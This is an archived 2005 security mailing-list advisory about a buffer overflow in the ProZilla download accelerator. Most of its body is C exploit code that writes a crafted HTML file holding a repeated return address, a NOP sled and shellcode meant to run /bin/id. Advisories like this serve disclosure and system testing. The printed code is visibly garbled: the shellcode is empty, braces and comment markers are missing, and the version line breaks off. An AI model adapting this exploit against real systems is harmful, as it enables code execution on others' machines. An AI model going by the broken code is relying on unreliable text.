[EXPL] ProZilla Buffer Overflow (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 10/06/05

  • Next message: SecuriTeam: "[UNIX] Bugzilla Multiple Information Leak"
    To: list@securiteam.com
    Date: 6 Oct 2005 16:13:05 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.

    - - - - - - - - -

      ProZilla Buffer Overflow (Exploit)


    " <http://prozilla.genesys.ro/> ProZilla is a download accelerator for
    Linux which gives you a 200% to 300% improvement in your file downloading
    speeds. "

    Prozilla does not validate length properly allowing attackers to cause the
    program to execute arbitrary code by overflowing an internal buffer, the
    following exploit code can be used to test your system for the mentioned


    Vulnerable Systems:
     * Prozilla version

    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>

    #define OVERFLOW (1<<10)+32
    #define SLEDSIZ (1<<10)
    #define RETADDR 0x806977a+SLEDSIZ/2
    #define OUTPUT "AdvResults.asp"

    * prozilla bug, found while auditing for gentoo bug #70090
    * -taviso@gentoo.org

    /* execve() /bin/id */
    unsigned char shellcode[] =

    int main(int argc, char **argv)
    unsigned char *buf;
    void *ret = (void *) RETADDR;
    FILE *exploit;
    int i;

    exploit = fopen(OUTPUT, "w");
    fprintf(exploit, "<PRE><A HREF=>");

    buf = malloc(OVERFLOW);
    for (i = 0; buf + i < buf + OVERFLOW; i += sizeof(void *))
    memcpy(buf + i, &ret, sizeof(void *));
    fwrite(buf, OVERFLOW, 1, exploit);
    fprintf(exploit, "</A><A HREF=></A><A HREF=></A></PRE>");
    buf = realloc(buf, SLEDSIZ + sizeof(shellcode));
    memset(buf, 0x90, SLEDSIZ);
    memcpy(buf + SLEDSIZ, shellcode, sizeof(shellcode));
    fwrite(buf, SLEDSIZ + sizeof(shellcode), 1, exploit);
    fprintf(stderr, "[*] %s created.\n", OUTPUT);
    return 0;


    The information has been provided by <mailto:taviso@gentoo.org> taviso.


    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com


    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[UNIX] Bugzilla Multiple Information Leak"